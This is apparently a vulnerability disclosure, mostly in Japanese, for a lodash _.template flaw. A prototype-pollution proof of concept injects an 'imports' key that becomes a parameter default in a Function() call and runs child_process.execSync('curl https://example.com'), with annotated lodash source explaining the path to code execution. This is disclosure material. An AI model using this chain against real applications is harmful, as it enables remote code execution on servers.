https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

事前のプロトタイプ汚染の脆弱性を利用して、攻撃者が制御するプロパティで Object.prototype.imports を汚染する
次に、通常のプレーンオブジェクトの options 値で _.template('', {}) を呼び出す
_.template() 内で、lodash は にて で をコピーする
assignInWith({}, options, settings, ...)optionsfunction template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
...
assignInWith は lodash.js:12778 にて keysIn(source) を使用する var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
keysIn() は lodash.js:13440 にて継承された列挙可能なプロパティを含む function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}
options オブジェクトは通常の {} であるため、Object.prototype から汚染された imports プロパティを継承し、lodash はその継承された値をローカルの options.imports にコピーする
その後 lodash は lodash.js:14889 にて assignInWith({}, options.imports, settings.imports, ...) で imports を構築し、lodash.js:14889 で importsKeys を抽出し、lodash.js:14957 で Function(importsKeys, ...) に渡す
...
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
...
私が汚染したキーは、デフォルト式を持つ仮引数として扱われる:
x=process.getBuiltinModule("child_process").execSync("curl https://example.com")